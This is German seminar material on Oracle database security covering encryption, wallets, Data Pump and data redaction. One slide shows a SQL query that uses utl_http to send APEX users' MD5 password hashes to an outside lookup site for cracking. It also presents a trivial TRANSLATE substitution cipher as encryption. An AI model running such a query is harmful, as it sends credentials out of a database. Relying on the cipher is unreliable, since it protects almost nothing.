Sicherheit in der Oracle Datenbank

Werbung
DOAG
Berliner Expertenseminar
Sicherheit in der Oracle Datenbank
22. / 23. Oktober 2014
© 2014 by MuniQSoft GmbH
Impressum
Autor: Marco Patzwahl
Firma MuniQSoft GmbH
Grünwalder Weg 13a
82008 Unterhaching
Tel.: 089 / 67 90 90 40
Fax: 089 / 67 90 90 50
Internet: www.muniqsoft.de
Email: [email protected]
Wir haben diesen Kursordner mit großer Sorgfalt zusammengestellt. Trotzdem
können Fehler nicht komplett ausgeschlossen werden. Herausgeber und Autoren
können deshalb für fehlerhafte Angaben und deren Folgen keine Haftung
übernehmen.
Dieses Werk (in gedruckter und digitaler Form) ist urheberrechtlich geschützt. Die
Vervielfältigung, Entnahme von Grafiken, Tabellen oder Texten oder Vortrag von
Teilen dieses Dokuments ist nur mit Zustimmung des Autors zulässig.
Die Wiedergabe von Gebrauchsnamen, Handelsnamen oder Warenzeichen in
diesem Werk berechtigt auch ohne besondere Kennzeichnung nicht zur Annahme,
dass solche Namen im Sinne des Warenzeichen-, Gebrauchsmuster und
Markenschutz-Gesetzgebung als frei zu betrachten wären und daher von
jedermann benutzt werden dürften.
Security I 0-2
Inhaltsverzeichnis
Inhaltsverzeichnis für ES_Security (c) 1998-2014 by MuniQSoft GmbH
Impressum
Kapitel 1 Verschlüsselung
2. Einleitung
3. Der Translate Befehl
4. Verbesserung der Low-Level Verschlüsselung
5. DBMS_CRYPTO
6. DBMS_CRYPTO Verschlüsselung
7. Verschlüsselung von Spalten
8. Wallet konfigurieren
9. Wallet
10. Spalten verschlüsseln
13. Data Pump Verschlüsselung (EE)
14. Verschlüsselung von Oracle Passwörtern
15. Redaction (Oracle 12c EE+ASO)
16. Redaction Einschränkungen
17. Neue System Rechte für Redaction
18. Weitere Packageaufrufe vom DBMS_REDACT
19. Tipps & Tricks zu den Parametern
22. Beispiele zum Expression Parameter
23. Vordefinierte Shortcuts
24. Beispiele für die Parameter
Inhaltsverzeichnis 1
25. Redaction Verwaltungsviews
26. DBMS_REDACT Beispiel
28. Probleme mit DBMS_REDACT
29. Security Bug in 12.1.0.1
Kapitel 2 Rechte & Rollen
2. Einleitung
4. Rechte bei Rollen
5. Rechte mit ANY
6. Gefährliche Rechte
9. Privilegien-Eskalation
13. ADMIN OPTION
14. Public Rechte
Inhaltsverzeichnis 1
Inhaltsverzeichnis
15. PUBLIC Rechte entziehen
16. Gefährliche Packages
22. Ports sperren/freigeben (ab 11g)
27. Fine Grain Access ab 12c
28. DBMS_NETWORK_ACL_ADMIN ab 12c
29. Beispiel zu APPEND_HOST_ACE (12c)
30. Parameter zu APPEND_HOST_ACE (12c)
31. Beispiel zu REMOVE_HOST_ACE (12c)
32. ACL Views
33. 12c: DBMS_PRIVILEGE_CAPTURE (EE +DV Opt.)
34. Ablauf der Rechteerfassung
35. CREATE_CAPTURE-Prozedur
36. Beispiele
38. App-Überwachung in fremder Session
39. Start / Ende der Erfassung
40. Übersicht der Ausgabe
41. Beispielausgabe
42. Neue Rollen in 12c
43. Neue Rollen in 12c
44. Neue Rechte in 12.1.0.1
45. Neue Rechte in 12.1.0.2
46. Inherit Privileges (Oracle 12c)
47. Inherit Privileges
48. Beispiel zu inherit Privileges
50. Neuerung bei Rechten in 12.1.0.2
Inhaltsverzeichnis 2
Kapitel 3 Benutzer und Passwörter
2. Benutzerpasswörter
3. Optimierung von Passwörtern
4. Benutzerpasswörter
5. Passwort ändern auf dem Client
6. Abschalten des alten PWD Algorithmus
8. Neue Passwortverschlüsselung in 12.1.0.2
9. Passwort-Hackmethoden
12. Benutzeridentifizierung
14. Benutzer
Inhaltsverzeichnis 2
Inhaltsverzeichnis
15. Benutzerpasswörter (APEX)
16. Benutzerpasswörter
23. Administrationsbenutzer
24. Übersicht der Rechte pro Benutzer
25. Passwörter in Skripten
26. Default-Passwörter
27. Schutz durch Profile
31. Schutz durch Passwortfunktion
32. Die Passwortfunktion
34. Passwortfunktion als Spion ?
35. Neue Passwort-Prüf-Funktion in 12c
36. Anmeldung mit verschlüsselten Passwort
39. Neuer / alter Password Hash
41. Abschalten des alten PWD Algorithmus
43. Neue Passwortverschlüsselung in 12.1.0.2
Kapitel 4 Netzwerksicherheit
2. Einleitung
3. Tipps & Tricks
4. Netzwerkverschlüsselung
6. SQLNET.ORA Parameter
7. Integritätsprüfung
8. Einstellung in der SQLNET.ORA
9. Client/Server Einstellkombinationen
10. Funktionstest der Verschlüsselung
Inhaltsverzeichnis 3
Kapitel 5 Trigger
2. Überwachung mittels Trigger
3. Beispiel für einen Trigger:
4. Logon Trigger
5. System-Trigger
6. Beispiel System-Trigger
7. DDL-Trigger
11. Beispiel DDL-Trigger
12. Weiteres Beispiel
Inhaltsverzeichnis 3
Inhaltsverzeichnis
Kapitel 6 Rootkits
2. Definition
3. Rootkit unter Unix
4. Wer greift mich an?
5. Was macht der Angreifer?
6. Wie komme ich in die Oracle Datenbank?
7. Wie komme ich in die Datenbank
11. Ich bin drin ...
12. Namensauflösung bei Objekten
13. Manipulation der Verwaltungsviews
15. Verwaltungsviews (V$...)
18. Abweichungen bei Benutzertabellen
19. Abweichung von Public Synonymen
20. Abweichung bei Privilegien
21. SELECT führt DDL aus
22. Objekte als Oracle eigene ausgeben
23. Lösung
24. DDL Trigger
25. Wie kann man sich schützen?
26. View Definitionen mit Hash-Wert speichern
27. Rootkit Version 2
28. Rootkit Version 2 aufspüren
29. Honeypot
30. Oracle Würmer
31. Vorsichtsmaßnahmen
Inhaltsverzeichnis 4
Kapitel 7 Forensik
2. Was ist Forensik?
3. Tools für die Forensik
4. Interessante Trace Files
5. Trace Views/Tables
6. Vorgehensweise
7. Befehle zur Überwachung
9. SYS.USER$
10. Alte Passwörter
11. SYS.WRH$_ACTIVE_SESSION_HISTORY
Inhaltsverzeichnis 4
Inhaltsverzeichnis
12. Welche Programme haben sich angemeldet?
13. Änderungen an wichtigen Tabellen
14. Weitere interessante Tabellen
15. Listener.log in External Table
16. Auswertungen der listener.log
17. Blöcke auslesen
18. Die SCN als Dokumentation des Zeitpunkts
19. Checkpoint Nummer wandeln
20. SCN Nummern in Blöcken
21. Interessante Auswertungen bzgl der SCN
22. Flashback Row History
23. Inhaltliche Änderungen feststellen
Kapitel 8 Unified Auditing
2. Audit bis Version 11.2
3. Rückwärtskompatibilität
4. Empfehlungen
5. Unified Auditing
6. Unified Auditing alleinig aktivieren
7. Unified Auditing Speichermethoden
9. Wo wird das Audit gespeichert?
10. Unified Auditing: Rechte
11. Unified Autiting Syntax
12. Unified Auditing Syntax
13. Unified Auditing: WHEN Klausel
Inhaltsverzeichnis 5
14. Beispiele zur WHEN Klausel
15. Audit aktivieren
16. Audit deaktivieren
17. Unified Auditing Beispiele
19. Unified Auditing Beispiele für Privilegien
20. Interessante Privilegien zum Audit
21. Unified Autiting Beispiele für Packages
22. Lohnenswerte Packages für die Überwachung
23. Beispiel: Packageüberwachung
24. Audit auf Objekte
25. Unified Autiting Bsp für Rollenbenutzung
Inhaltsverzeichnis 5
Inhaltsverzeichnis
26. Unified Autiting Beispiele
27. SQL*Loader mittels AUDIT überwachen
28. Vordefinierte Policies
29. Audits abändern
30. Beispiele zu Audits abändern
31. Audit auswerten
32. Unified Audit Tabellenspalten (Auswahl)
33. AUDIT_TYPE
34. Audit löschen
35. Audit Einträge zeitgesteuert löschen
36. Audit Einträge manuell löschen
37. Audit Einträge löschen in Read Only DB
38. Mandatory Auditing
39. Audit Views
Kapitel 9 Security
2. Neue Benutzer
3. Neue Parameter für Passwort-Datei
4. System Benutzer in der Passwortdatei
5. Übersicht der Rechte pro Benutzer
6. SYSDBA Ersatz
7. Anmeldung als SYSBACKUP
8. Erweitertes CREATE USER Kommando
9. Benutzer anlegen in CDB
10. Fehlerhafter Login / Login Zeit
Inhaltsverzeichnis 6
11. Oracle Maintained Rollen/Benutzer
Kapitel 10 Checkliste
2. Einleitung
3. Passwörter ändern/Benutzer sperren
4. Rechteüberprüfung/Netzwerk
5. INIT.ORA Parameter Prüfung
6. Prüfung auf neusten Patch
7. Prüfung auf neuen PWD Algorithmus
8. Welche Policies sind im Einsatz
9. Welche Directories sind angelegt
Inhaltsverzeichnis 6
Inhaltsverzeichnis
10. Welche DB Links existieren ?
11. Welche Objekte sind verschlüsselt?
12. Wird die Passwort Prüffunktion verwendet ?
13. Prüffunktionen
14. Welche Objekte wurden kürzlich neu erzeugt?
15. 16 Jahre MuniQSoft GmbH
Inhaltsverzeichnis 7
Kapitel 1
Verschlüsselung
Security I 1 - 1
Einleitung
Verschlüsselung dient dem Verbergen von Informationen
(z. B. Gehaltsdaten)
Jedoch kann der Einsatz der Verschlüsselung erst das
Interesse der Hacker wecken
Besser wäre das „Verstecken" der Daten (=> SAP ist hier
Spezialist mit 70.000 Tabellen ☺ )
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 2
Verschlüsselte Daten stellen eine zusätzliche Hürde da, die von einem Hacker erst mal
überwunden werden muss. Auch ist ein „zufälliges“ Lesen der Gehaltsdaten aus der
gesamten Vorstandsetage eher unwahrscheinlich. Durch die Verschlüsselung werden die
Daten auch in den Oracle Blöcken und damit auch in den Tablespace-Dateien
verschlüsselt eingetragen. Auch ein Export wird die Daten verschlüsselt aus der
Datenbank holen und sicher in der Exportdatei lagern.
Jedoch ist es illusorisch zu glauben, ein 128 oder 192 Bit Schlüssel sei nicht zu knacken.
Es ist nur eine Frage der Zeit bzw. Rechnerleistung, die jedoch derzeit noch nicht in
ausreichendem Maße zur Verfügung steht.
Stichwörter: Daten verstecken/verschlüsseln
Security I 1 - 2
Der Translate Befehl
Dient der Low-Level-Verschlüsselung
Syntax:
TRANSLATE(<wert>,'<buchstabenliste>',
'<verschlüsselungsliste>')
Beispiel:
SELECT
TRANSLATE(ename,'ABCDEFGHIJKLMNOPQRSTUVWXYZ012
345abcdefghijklmnopqrstuvwxyz6789',
'fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRST
UVWXYZ012345abcde') FROM scott.emp;
Zum Entschlüsseln müssen nur die Schlüssel vertauscht
werden
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 3
Der TRANSLATE Befehl dient der Low-Level-Verschlüsselung von Daten innerhalb von Tabellen
oder Views.
Syntax:
TRANSLATE(<wert>,'<buchstabenliste>','<verschlüsselungsliste>')
Beispiel:
SELECT TRANSLATE (ename,
'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789',
'fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde')
FROM scott.emp;
Zum Entschlüsseln müssen nur die Schlüssel vertauscht werden
Die Verschlüsselung kann bereits beim Insert in eine Tabelle verwendet werden
Beispiel:
INSERT INTO emp
(empno,ename,sal,deptno)
VALUES
(8000, TRANSLATE ('WESSON',
'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789',
'fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde'),1000,10);
Sollten die Daten bereits in der Tabelle stehen, wird statt dessen ein Update verwendet:
UPDATE emp set
ename= TRANSLATE (ename,
'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789',
'fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde');
Stichwörter: TRANSLATE , Low-Level Verschlüsselung
Security I 1 - 3
Verbesserung der Low-Level Verschlüsselung
Drehen Sie das Wort vor dem Verschlüsseln um
Marco =>Ocram
Geheim =>Mieheg
Teilen Sie das Wort in zwei Hälften und vertauschen Sie
diese
Marco => Mar co => Comar
Geheim => Geh eim =>Eimgeh
Danach wird wieder der Translate-Befehl benutzt
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 4
Beispiel zum Vertauschen der beiden Hälften:
SELECT SUBSTR(ename,FLOOR(LENGTH(ename)/2)+1),
SUBSTR(ename,1,FLOOR(LENGTH(ename)/2))
FROM scott.emp;
Stichwörter: Low-Level Verschlüsselung, Verbesserung
Security I 1 - 4
DBMS_CRYPTO
Ersetzt/ergänzt das bisherige Package dbms_obfuscation
Strings müssen nicht mehr ein Vielfaches von 8 Byte
sein, jedoch müssen sie zuerst in RAW konvertiert
werden
Verfügt über eine größere Anzahl an
Verschlüsselungsroutinen z.B.:
dbms_crypto.des_cbc_pkcs5 (Schlüssellänge 8 Byte),
dbms_crypto.des3_cbc_pkcs5 (24 Byte)
dbms_crypto.encrypt_rc4
dbms_crypto.encrypt_aes128
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 5
Vollständige Liste der Algorithmen:
ENCRYPT_DES (Keylänge 56 Bit).
ENCRYPT_3DES_2KEY (Effektive Keylänge 112 Bit).
ENCRYPT_3DES
ENCRYPT_AES128 (verwendet 128 Bit Key-Länge)
ENCRYPT_AES192 (verwendet 192 Bit Key-Länge)
ENCRYPT_AES256 (verwendet 256 Bit Key-Länge)
ENCRYPT_RC4
Stichwörter: DBMS_CRYPTO
Security I 1 - 5
DBMS_CRYPTO Verschlüsselung
Verschlüsselung:
p_encrypted_raw := dbms_crypto.encrypt(
src => p_text_raw,
typ => p_crypto_typ,
key => p_key);
Entschlüsselung
p_decrypted_raw := dbms_crypto.decrypt(
src => p_encrypted_raw,
typ => p_crypto_typ,
key => p_key);
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 6
Stichwörter: DBMS_CRYPTO, Verschlüsselung
Security I 1 - 6
Verschlüsselung von Spalten
Ab Version 10.2 können die Spaltenwerte direkt
verschlüsselt werden
Sollte dann der Server bzw. der Export-Dump gestohlen
werden, ist er ohne das Master-Passwort wertlos
Zuerst muss ein Wallet mit Passwort erzeugt werden
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 7
Stichwörter: Verschlüsselung von Spalten
Security I 1 - 7
Wallet konfigurieren
Tragen Sie in die Datei SQLNET.ORA einen gültigen
Wallet-Pfad ein
WALLET_LOCATION =
(SOURCE = (METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = c:\oracle\admin\orcl\wallet
)
)
)
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 8
Stichwörter: Wallet konfigurieren
Security I 1 - 8
Wallet
Wallet erzeugen
ALTER SYSTEM SET ENCRYPTION KEY
["certificate_id" ] IDENTIFIED BY "pwd" ;
Wallet öffnen
ALTER SYSTEM SET ENCRYPTION WALLET OPEN
IDENTIFIED BY "password";
Wallet schließen bis 11.2
ALTER SYSTEM SET ENCRYPTION WALLET CLOSE;
Wallet schließen ab 11.2
ALTER SYSTEM SET ENCRYPTION WALLET CLOSE
IDENTIFIED BY "password";
MuniQSoft GmbH
Hinweis:
•
•
Kapitel 1 - Verschlüsselung
Security I 1 - 9
Bei unseren Tests konnten wir unter Win XP Oracle 10.2.0.3 das Wallet nicht
ins Network Admin Verzeichnis legen.
Es war nur möglich unter <Oracle BASE>/<sid> einen Ordner wallet
anzulegen. Dort wurde dann die Datei erzeugt.
Stichwörter: Wallet erzeugen/öffnen/schließen
Security I 1 - 9
Spalten verschlüsseln
CREATE TABLE scott.kunden (
acc_no
NUMBER NOT NULL,
last_name
VARCHAR2(30) not null,
SSN varchar2(9)
ENCRYPT USING 'AES128',
card_id number
ENCRYPT USING 'AES128' );
Nachträglich einschalten:
ALTER TABLE kunden MODIFY (card_id ENCRYPT);
Nachträglich ausschalten:
ALTER TABLE kunden MODIFY (card_id DECRYPT);
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 10
Erlaubte Encryption-Methoden:
• 3DES168
• AES128
• AES192
• AES256
Die Option SALT ist default !
Stichwörter: Spalten verschlüsseln, ENCRYPT USING
Security I 1 - 10
Spalten verschlüsseln
Ein Zugriff auf die verschlüsselten Spalten ist nur bei geöffnetem
Wallet möglich!
SQL> ALTER SYSTEM SET ENCRYPTION WALLET OPEN IDENTIFIED BY
muniqsoft;
SQL> insert into kunden values (1,'Test','ABCDEFG',1000);
SQL> select * from kunden;
ACC_NO LAST_NAME
SSN
---------- ------------------ --------1 Test
ABCDEFG
CARD_ID
-------1000
SQL> ALTER SYSTEM SET ENCRYPTION WALLET CLOSE;
SQL> select * from kunden;
select * from kunden
*
FEHLER in Zeile 1: ORA-28365: Wallet ist nicht geöffnet
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 11
Stichwörter: Spalten verschlüsseln, ALTER SYSTEM SETENCRYPTION WALLETOPEN IDENTIFIED BY
Security I 1 - 11
Spalten verschlüsseln
Informationen zu verschlüsselten Spalten liegen unter
USER_/ALL_/DBA_ENCRYPTED_COLUMNS
OWNER
TABLE_NAME COLUMN_NAME ENCRYPTION_ALG
SALT
----------------- ----------- ---------------- --SYSTEM KUNDEN
SSN
AES 128 bits key YES
SYSTEM KUNDEN
CARD_ID
AES 128 bits key YES
Leider kann auch dort ein Hacker nachlesen, welche
Spalten interessant sind, und welcher Algorithmus
verwendet wird
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 12
Stichwörter: Spalten verschlüsseln, Informationen
Security I 1 - 12
Data Pump Verschlüsselung (EE)
Wenn Daten des verschlüsselten Tablespace exportiert
werden sollen, muss daran gedacht werden beim Export
einen Parameter zu verwenden!
expdp scott/tiger
tables= geheim_tab
dumpfile= sec.dmp
directory= data_pump_dir
encryption= data_only
encryption_algorithm= aes128
encryption_password= geheim
enycryption_mode=[dual|password|transparent]
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 13
Parameter
Beispiel
Beschreibung
encryption
ALL
ALL = Metadaten + Nutzdaten
DATA_ONLY= Nutzdaten
ENCRYPTED_COLUMNS_ONLY= Nur
verschlüsselte Spalten
METADATA_ONLY= Nur Metadaten
NONE= Keine Verschlüsselung
encryption_algorithm
AES256
Folgende Algorithmen stehen zur Verfügung:
AES128 | AES192 | AES256
encryption_password
supergeheim
Passwort für Export und Import ! Wird beim Export
nur verwendet, wenn Parameter encryption_mode
= DUAL oder PASSWORD gesetzt wurde
encryption_mode
TRANSPARENT
TRANSPARENT= Wallet Passwort entscheidend
PASSWORD= Passwort des Parameters
encryption_password entscheidet
DUAL= Wallet und Passwort des Parameters
encryption_password wichtig
Stichwörter: Verschlüsselung; Datapump, Datapump; Verschlüsselung
Security I 1 - 13
Verschlüsselung von Oracle Passwörtern
Oracle verwendet je nach Modul/User/Version
verschiedene Algorithmen:
Benutzerpasswörter:
Version 5.x bis 10.2: DES von Upper(password)
Version 11.1: SHA-1 von password
APEX 1.6-3.0: MD5
http://md5.rednoize.com/
SELECT
utl_http.request('http://md5.rednoize.com/?q='|
|
web_password_raw ||'&b=MD5-Search') from
flows_030000.wwv_flow_fnd_user;
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 14
Stichwörter: Verschlüsselung, Oracle Passwörter
Security I 1 - 14
Redaction (Oracle 12c EE+ASO)
Redaction wird zum Verschleiern von sensiblen Daten
verwendet (z.B. Kreditkartenspalten)
Alle Besitzer der DBA-Rolle haben automatisch das
Recht EXEMPT REDACTION POLICY und können damit
jede existierende Redaction Regel umgehen und die
Daten im Original sehen.
Data Redaction Policies dürfen nicht auf SYS Objekte
definiert werden.
Für die Verwendung von Redaction ist die Enterprise
Edition mit der Advanced Security Option notwendig.
Hinweis: Diese Funktion wurde in 11.2.0.4 zurückportiert
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 15
Stichwörter: Redaction
Security I 1 - 15
Redaction Einschränkungen
Nur eine Redaction Policy pro Tabelle
Primrärschlüsselspalten dürfen keine Redaction besitzen
Keine CREATE TABLE AS SELECT auf Tabellen mit
Redact Spalten
CREATE TABLE t As SELECT * FROM redact_table;
Export Datapump auf Redact Spalten derzeit auch nicht
unterstützt (Stand 12.1.0.1 März 2014)
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 16
Security I 1 - 16
Neue System Rechte für Redaction
Redaction Regeln umgehen:
GRANT EXEMPT REDACTION POLICY TO <user>;
Redaction Regeln für DML umgehen:
GRANT EXEMPT DML REDACTION POLICY TO <user>;
Redaction Regeln für DDL umgehen:
GRANT EXEMPT DDL REDACTION POLICY TO <user>;
Sinnvoll bei einem CREATE TABLE AS SELECT
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 17
Security I 1 - 17
Weitere Packageaufrufe vom DBMS_REDACT
Policy abschalten
DBMS_REDACT.DISABLE_POLICY (
object_schema
IN
VARCHAR2 := NULL,
object_name
IN
VARCHAR2,
policy_name
IN
VARCHAR2);
Policy löschen
DBMS_REDACT.DROP_POLICY (
object_schema
IN
VARCHAR2 := NULL,
object_name
IN
VARCHAR2,
policy_name
IN
VARCHAR2);
Policy einschalten
DBMS_REDACT.ENABLE_POLICY
object_schema
IN
object_name
IN
policy_name
IN
MuniQSoft GmbH
(
VARCHAR2 := NULL,
VARCHAR2,
VARCHAR2);
Kapitel 1 - Verschlüsselung
Security I 1 - 18
Weitere Aufrufe:
DBMS_REDACT.ADD_POLICY (
object_schema
object_name
policy_name
column_name
function_type
function_parameters
expression
enable
regexp_pattern
regexp_replace_string
regexp_position
regexp_occurrence
regexp_match_parameter
policy_description
column_description
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
VARCHAR2,
VARCHAR2,
VARCHAR2,
VARCHAR2 := NULL,
BINARY_INTEGER := DBMS_REDACT.FULL,
VARCHAR2 := NULL,
VARCHAR2,
BOOLEAN := TRUE,
VARCHAR2 := NULL,
VARCHAR2 := NULL,
BINARY_INTEGER := 1,
BINARY_INTEGER := 0,
VARCHAR2 := NULL,
VARCHAR2 := NULL,
VARCHAR2 := NULL);
DBMS_REDACT.ALTER_POLICY (
object_schema
object_name
policy_name
action
IN
IN
IN
IN
VARCHAR2 := NULL,
VARCHAR2,
VARCHAR2,
BINARY_INTEGER :=
DBMS_REDACT.ADD_COLUMN,
VARCHAR2 := NULL,
BINARY_INTEGER := DBMS_REDACT.FULL,
VARCHAR2 := NULL,
VARCHAR2,
VARCHAR2 := NULL,
VARCHAR2 := NULL,
BINARY_INTEGER := 1,
BINARY_INTEGER := 0,
VARCHAR2 := NULL,
VARCHAR2 := NULL,
VARCHAR2 := NULL);
column_name
function_type
function_parameters
expression
regexp_pattern
regexp_replace_string
regexp_position
regexp_occurrence
regexp_match_parameter
policy_description
column_description
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
Stichwörter: DBMS_REDACT
Security I 1 - 18
Tipps & Tricks zu den Parametern
Parameter
Einstellung
Beschreibung
FUNCTION_
TYPE
0 NONE
Keine Verschleierung (dbms_redact.none = 0)
1 FULL
Feste Werte (dbms_redact.full = 1)
2 PARTIAL
Teile der Spalte verschleiern
4 RANDOM
Jede Abfrage wird mit zufälligen Werten beantwortet
5 REGEXP
Verschleierung basierend auf regulären Ausdrücken
EXPRESSION 1=1
Maskierung immer ausführen
Weitere Prüfungen z.B. mit SYS_CONTEXT(
userenv,'…') möglich. Ausführung der Maskierung nur,
wenn Rückgabewert TRUE
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 19
Stichwörter: DBMS_REDACT; Parameter
Security I 1 - 19
Tipps & Tricks zu den Parametern (f)
Parameter
Einstellung
Beschreibung
FUNCTION_
PARAMETERS
Input Format
V = maskiert, F = ignoriert
Output
Format
V = maskiert, Restliche zum Formatieren
Mask Char
Maskierendes Zeichen wie '*', oder 'X'
Startposition
Ab dieser Position wird maskiert
Endposition
Endposition der Maskierung
Mask Char
Zeichen zwischen 0 - 9 zum Maskieren
Startposition
Ab dieser Position wird maskiert
Endposition
Endposition der Maskierung
(Datentyp
CHAR)
Datentyp
Number
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 20
Stichwörter: DBMS_REDACT; Parameter
Security I 1 - 20
Tipps & Tricks zu den Parametern (ff)
Parameter
Einstellung
Beschreibung
REGEXP_
MATCH_
PARAMETER
i
Groß - und Kleinschreibung wird nicht berücksichtigt
c
Groß - und Kleinschreibung wird berücksichtigt
n
Das Sonderzeichen "." kann auch für einen
Zeilenumbruch stehen
m
Die Zeichenkette wird als mehrzeilige Eingabe
betrachtet. ^ und $ können dann für jede Zeile angewendet werden und nicht nur für Anfang und Ende.
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 21
Stichwörter: DBMS_REDACT; Parameter
Security I 1 - 21
Beispiele zum Expression Parameter
Wenn Sie die Expression Klausel ändern, kann die Regel
nur für bestimmte Benutzer ausgeführt werden.
So wird nur der Benutzer SCOTT die veränderten
Spalteninhalte sehen, alle anderen bekommen die
Spalten im Original.
EXPRESSION =>q'!
sys_context('USERENV','SESSION_USER') ='AQ' !'
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 22
Beispiele für sys_context
CLIENT_INFO Gibt 64 Byte über die Usersession zurück, die eine Applikation im Package
DBMS_APPLICATION_INFO abgelegt hat.
CURRENT_USER Aktueller Benutzer der Session
CURRENT_USERID Aktuelle Benutzer-ID der Session
CURRENT_SCHEMA Aktuell eingestelltes Schema. Dies kann z. B. durch ALTER SESSION
SET CURRENT_SCHEMA=<schema>; eingeschaltet werden
CURRENT_SCHEMAID Id-Nummer des aktuell eingestellten Schemas
DB_DOMAIN Domain Name der Datenbank die im init.ora Parameter DB_DOMAIN
eingetragen wurde
DB_NAME Datenbank Name der im init.ora Parameter DB_NAME eingetragen wurde
BG_JOB_ID Job Nummer der aktuellen Session, wenn Sie durch einen Oracle
Hintergrundprozess erzeugt wurde. NULL wenn dies nicht der Fall ist
FG_JOB_ID Job Nummer der aktuellen Session, wenn Sie durch einen Client Prozess erzeugt
wurde. NULL wenn dies nicht der Fall ist
HOST Rechnername des Clients
INSTANCE Instanznummer der aktuellen Instanz (meist 1)
IP_ADDRESS IP Adresse des Clients
ISDBA TRUE wenn der aktuelle Benutzer die SYSDBA Rolle besitzt. FALSE falls nicht.
Fehler in Doku: Hier steht die DBA Rolle !
LANGUAGE Sprache, Territorium und Zeichensatz der aktuellen Session in der Form:
language_territory.characterset
LANG Länderkürzel (für uns "D")
NETWORK_PROTOCOL benutztes Netzwerkprotokoll
NLS_TERRITORY Territorium der aktuellen Session
NLS_CURRENCY Währung der aktuellen Session
NLS_CALENDAR Kalender der aktuellen Session
NLS_DATE_FORMAT Datumsformat der aktuellen Session
NLS_SORT Sortierreihenfolge der aktuellen Session
SESSION_USER Benutzer der aktuellen Session, wie er authentifiziert wurde
SESSION_USERID Benutzer-ID der aktuellen Session, wie er authentifiziert wurde
OS_USER Betriebsystemuser der die Verbindung zur DB aufgebaut hat
SESSIONID Session ID für Auditing
TERMINAL Terminal Name für aktuelle Session
Stichwörter: Redaction Expression
Security I 1 - 22
Vordefinierte Shortcuts
Einige Prüfungen sind schon vordefiniert, jedoch machen in unseren
Breitengraden nicht alle Sinn. (z.B. SozialversicherungsnummerFormat der USA)
Sinnvolle Prüfungsvarianten (Auswahl)
DBMS_REDACT.REDACT_ZIP_CODE (5 stellige Postleitzahl in
VARCHAR2 Spalte wird durch XXXXX ersetzt)
DBMS_REDACT.REDACT_NUM_ZIP_CODE (5 stellige Postleitzahl in
NUMBER Spalte wird durch XXXXX ersetzt)
DBMS_REDACT.REDACT_DATE_MILLENNIUM (Datum wird ersetzt durch
01-JAN-00)
DBMS_REDACT.REDACT_DATE_EPOCH (Datum wird ersetzt durch 01JAN-70)
DBMS_REDACT.REDACT_CCN16_F12 (ersetzt eine 16-stellige
Kreditkartenummer in der Form 1234123412341234 durch
XXXXXXXXXXXX1234)
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 23
Stichwörter: Shortcuts
Security I 1 - 23
Beispiele für die Parameter
FUNCTION_TYPE
REGEXP_PATTERN
REGEXP_REPLACE
_STRING
DBMS_REDACT.
FULL
Spaltenwert
Ergebnis
123
0
DBMS_REDACT.
REGEXP
'(\d{4})-(\d{4})(\d{4})-(\d{4})'
'XXX-\4'
'1234-12341234-6789'
'XXXX-6789'
DBMS_REDACT.
REGEXP
'(\d{4})-(\d{4})(\d{4})-(\d{4})'
'\1-0000-\21111'
'1234-45671234-6789'
'1234-00004567-1111'
DBMS_REDACT.
REDACT_DATE_
MILLENNIUM
16.06.2014
01.01.2000
DBMS_REDACT.
REANDOM
'1234-12341234-6789'
*DZ*FLpA2Lb2NTx
I:Tj
DBMS_REDACT.
PARTITAL
function_parameters
=>'9,1,5'
123456789
999996789
DBMS_REDACT.
PARTITAL
function_parameters
=>'0,1,2'
1.23
0.03
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 24
Spaltentyp Number
function_type => DBMS_REDACT.PARTIAL
function_parameters => '7,1,5', -- erste bis 5te Stelle mit 7 besetzen
Ausgabe der Spalte
777774320
777774323
777774325
Beispiel 2
regexp_pattern => '(\d\d\d)(\d\d)(\d\d\d\d)',
regexp_replace_string => 'XXXXX\3',
Ausgabe der Spalte
XXXXX1234
XXXXX5678
Security I 1 - 24
Redaction Verwaltungsviews
REDACTION_POLICIES
REDACTION_COLUMNS
REDACTION_VALUES_FOR_TYPE_FULL
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 25
Stichwörter: Redaction
Security I 1 - 25
DBMS_REDACT Beispiel
CREATE TABLE scott.kredit_card(
cust_name VARCHAR2(64),
card_id
VARCHAR2(64));
INSERT INTO scott.kredit_card
VALUES ('Marco','1234-1234-1234-1234');
EXEC dbms_redact.add_policy(…)
SELECT * FROM scott.kredit_card;
